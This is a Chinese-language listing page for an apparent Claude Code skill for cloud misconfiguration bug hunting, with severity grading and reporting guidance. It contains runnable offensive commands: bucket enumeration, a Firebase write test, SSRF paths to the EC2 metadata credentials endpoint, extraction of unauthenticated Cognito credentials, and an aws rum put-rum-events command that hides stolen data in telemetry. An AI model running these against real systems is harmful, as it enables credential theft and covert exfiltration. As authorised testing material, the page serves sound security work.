关于 hunt-cloud-misconfig
面向云安全测试人员的云与基础设施错误配置排查技能,涵盖存储、元数据端点、管理面板及 CloudWatch RUM。强调本地验证、影响证明和报告前的误报筛查。
主要功能
- 01探测 S3、GCS 和 Azure Blob 暴露
- 02识别 EC2 元数据与管理面板
- 03分析 CloudWatch RUM 配置与攻击链
- 04使用 LocalStack 验证云端发现
- 05依据影响证据验证并分级问题
适用场景
- 01排查公开存储桶中的敏感数据
- 02验证 RUM 身份池是否授予过宽权限
- 03在本地 AWS 模拟环境复现配置问题
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-cloud-misconfig安装后在 Claude Code 中输入/hunt-cloud-misconfig确认已加载。
详细介绍
HUNT-CLOUD-MISCONFIG — 云 / 基础设施错误配置
核心目标
S3 / GCS / Azure Blob
# S3 listing
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-APP.firebaseio.com/.json" # read
curl --max-time 30 --connect-timeout 10 -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
EC2 元数据(通过 SSRF)
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ # role name
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
暴露的管理面板
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
本地验证工具链
在本地 AWS 模拟器中测试云错误配置发现结果,而不是连接真实云环境:
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
如果未设置这些环境变量,aws s3 cp/sync 会因 InvalidRequest 而失败。请将此情况告知团队。完整的可复现流程请参阅 docs/verification/phase2j-cloud-localstack.md。
CloudWatch RUM 武器化(2024-2026 攻击面)
AWS CloudWatch RUM(真实用户监控)是一项客户端遥测服务,于 2021 年末推出。客户会在自己的页面中嵌入一段 JS 代码,用于将性能 / 错误事件发送到 dataplane.rum.<region>.amazonaws.com。代码片段中的 AppMonitor 配置包含一个 identityPoolId(Cognito)和一个 guestRoleArn(IAM 角色)——两者本来就是公开的。IAM 角色策略是安全边界;如果开发人员将其权限范围设置得超出文档规定的最低要求(对 AppMonitor ARN 授予 rum:PutRumEvents),整个身份池就会变成 cloud-iam-deep → Cognito Identity Pool 链中所述的未认证 AWS 凭证发放器。
检测 — JS 包指纹
代码片段样式(最常见,嵌入 <head> 中):
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);
NPM 样式(aws-rum-web 包):
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
用于侦察的正则表达式集
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
攻击链
攻击链 A — 提取凭证(guestRole 权限过大时为严重风险)。 从页面提取 identityPoolId 后,任何人都可以运行:
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
完整攻击链见 cloud-iam-deep → Cognito Identity Pool 未认证链。RUM 是一种常见的嵌入场景。
攻击链 B — 通过遥测端点隐蔽窃取数据。 dataplane.rum.<region>.amazonaws.com 是所有企业允许列表中都包含的 AWS 所有域名。PutRumEvents 负载接受任意的 userDetails 和 customEvents 字符串字段:
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
--endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
--region us-east-1
防御人员监控出口流量时会看到请求发往已知的可信 AWS 主机名;DLP 不会解析 JSON 请求体;SIEM 规则通常不会采集客户的 RUM 遥测数据。
攻击链 C — 通过代码片段来源投毒进行 DOM 注入。 许多客户会自行在 CDN 上托管 cwr.js(assets.target.com/cwr.js),或将 aws-rum-web 打包后从 static.target.com/main.<hash>.js 提供。对 JS 主机进行子域名接管,或供应链遭到入侵(针对 aws-rum-webb 的 npm 拼写仿冒),都能在每次页面加载时持续执行 JS,并获得 aws-rum-web SDK 的信任——包括其已获授权的 Cognito 权限。
攻击链 D — 遥测注入 / 仪表板投毒。 拥有公开的 identityPoolId 和 applicationId 后,外部攻击者可以用虚假的错误峰值淹没 PutRumEvents(掩盖真实警报)、向页面 URL 遥测数据中注入 XSS 负载(在 SOC 分析人员查看 CloudWatch 仪表板时触发),并增加可计费的 RUM 事件数量(造成经济型 DoS)。
严重性分级
| 发现 | 严重性 | 依据 |
|---|---|---|
guestRoleArn 使用 *:*,或在多个服务上使用通配符 | 严重(9.1+) | 匿名用户拥有完整 AWS 访问权限 |
guestRoleArn 在生产资源上使用 s3:*、dynamodb:*、secretsmanager:*、lambda:Invoke* | 高(7.5-8.8) | 可能导致数据泄露或远程代码执行,具体取决于资源 |
guestRoleArn 仅使用 cognito-identity:* 或 iam:PassRole | 高(8.0) | 可用于权限提升 |
guestRoleArn 仅使用 rum:PutRumEvents,且资源限定到端点 | 信息性 | 文档所述的预期配置 |
RUM userDetails 将个人身份信息记录到可在 CloudWatch 控制台查看的事件中 | 中(5.3-6.5) | 通过共享控制面板暴露敏感数据 |
RUM AppMonitor 接受来自任意互联网来源的 PutRumEvents(遥测注入) | 低至中(4.3) | 污染控制面板、规避告警、造成账单拒绝服务 |
在可被接管的子域上自托管 cwr.js | 链接攻击时为 严重(9.8) | 可在每个客户页面上持续进行存储型 XSS 攻击 |
已披露案例/权威分析文章
截至 2026-05,AWS RUM 尚无专属 CVE。相关攻击类型已有研究记录,但公开披露的 RUM 漏洞赏金案例较少。常见模式是“通过嵌入式 SDK 过度授权 Cognito 身份池”——RUM 是常见的嵌入场景之一。
- Andres Riancho——《Misconfigured Cognito Identity Pools》(2020/2023)——确立了此类攻击。 andresriancho.com
- Rhino Security Labs——Pacu
cognito__enum_identity_pools——可自动执行攻击链 A 的生产级工具。 github.com/RhinoSecurityLabs/pacu - NotSoSecure / Claranet——《Exploiting weak configurations in Amazon Cognito》(2023 年 11 月)——明确指出,RUM 是常见的三个会泄露池 ID 的 SDK 之一。 notsosecure.com
- HackTricks Cloud——
aws-cognito-unauthenticated-enum——权威操作指南。 cloud.hacktricks.wiki - Datadog Security Labs——《Following AWS Logs Backwards: Cognito Identity Pool Abuse》(2024)——提供了现实世界滥用情况的遥测数据。 securitylabs.datadoghq.com
- aws-observability/aws-rum-web GitHub issues #213、#404——社区对捆绑代码片段安全模型的讨论。 github.com/aws-observability/aws-rum-web
验证清单(报告前)
- 从页面源代码中提取
identityPoolId。 - 确认身份池允许未认证身份(无需认证即可成功执行
get-id)。 - 确认
get-credentials-for-identity会返回 STS 凭证。 - 运行
aws sts get-caller-identity,并截取角色 ARN 的屏幕截图。 - 运行
enumerate-iam/Pacuiam__enum_permissions——捕获至少一个除rum:PutRumEvents之外的允许操作。否则,该发现仅为信息性。 - 演示至少一种针对真实资源的读取/列表操作(列出 S3 存储桶、扫描 DynamoDB、调用 Lambda)。
- 即使有权限,也不要修改或删除数据——仅进行只读概念验证。
验证
- S3 存储桶探测——确认 AWS CLI 或 curl 的存储桶语法:
echo "https://bucket-name.s3.amazonaws.com/" | grep -q "s3.amazonaws.com" && echo "PASS" || echo "FAIL" - Firebase RTDB 探测——确认 Firebase URL 语法:
echo "https://project-id.firebaseio.com/.json" | grep -q "firebaseio.com" && echo "PASS" || echo "FAIL" - 云元数据端点——确认元数据 IP 识别:
echo "192.0.2.1" | grep -q "169.254" && echo "PASS: metadata IP recognized" || echo "FAIL"
全部 3 项测试均用于验证云配置错误探测。
陷阱
- S3 存储桶可列出但无读取权限 — 找到可列出的存储桶属于侦察,而不是漏洞。需要证明可以读取包含敏感内容的对象。
- Firebase 可公开读取但不含敏感数据 — 开放的 Firebase RTDB 如果只包含公开的应用配置,则仅属于信息性问题。需要包含个人身份信息、凭据或内部数据。
- GCP/Azure 存储不涉及凭据影响 — 包含静态资源的公开 Blob 存储不构成漏洞。需要包含机密、源代码或客户数据。
- 可从外部访问云元数据端点 — SSRF 到 192.0.2.1 只能从云内部利用。从外部访问元数据属于另一种(且更严重的)问题。
- 存储桶 ACL 配置错误与策略配置错误 — 存储桶策略和 ACL 是不同的机制。得出存储桶公开的结论前,两者都要测试。
- CloudFront/Cloudflare CDN 源站泄露 — 绕过 CDN 访问源站属于侦察,除非你能证明存在差异(调试端点、无需认证即可访问)。
- 不受限制的云函数触发器 — 可公开调用的函数可能是有意设计的。需要证明该函数会执行敏感操作(访问数据、修改资源)。
相关技能与攻击链
hunt-subdomain— 指向已删除存储桶的过期 CNAME 是接管目标的宝库。攻击链原语:云配置错误(S3 公开/已删除)+hunt-subdomain→ 未被认领的 CNAME 指向存储桶 → 接管assets.target.com。cloud-iam-deep— 在公开存储桶中泄露 SA JSON / AWS 密钥只是漏洞的一半。攻击链原语:公开的 S3 +.env中泄露的 AWS 密钥 → 使用cloud-iam-deep枚举 → 跨服务iam:PassRole权限提升。hunt-ssrf— 元数据服务只能从 VPC 内部访问;SSRF 是桥梁。攻击链原语:SSRF + 云配置错误(仍启用 IMDSv1)→ 实例角色密钥 → 读取 S3/RDS 数据。supply-chain-attack-recon— 暴露的 CI/CD 端点和 SBOM 会泄露内部软件包名称。攻击链原语:暴露的 Jenkins/GitLab + 内部软件包名称泄露 → 发布 npm/PyPI 依赖混淆软件包 → CI 构建被攻陷。security-arsenal— 加载 Cloud Bucket Wordlist(target-prod / target-backup / target-staging 的排列组合)和 Admin-Panel Path List,以便快速枚举。triage-validation— 应用 Unique-Marker gate:任何“可写存储桶”的说法,都要求先写入唯一标记文件,并在干净会话中读回,然后再提交报告。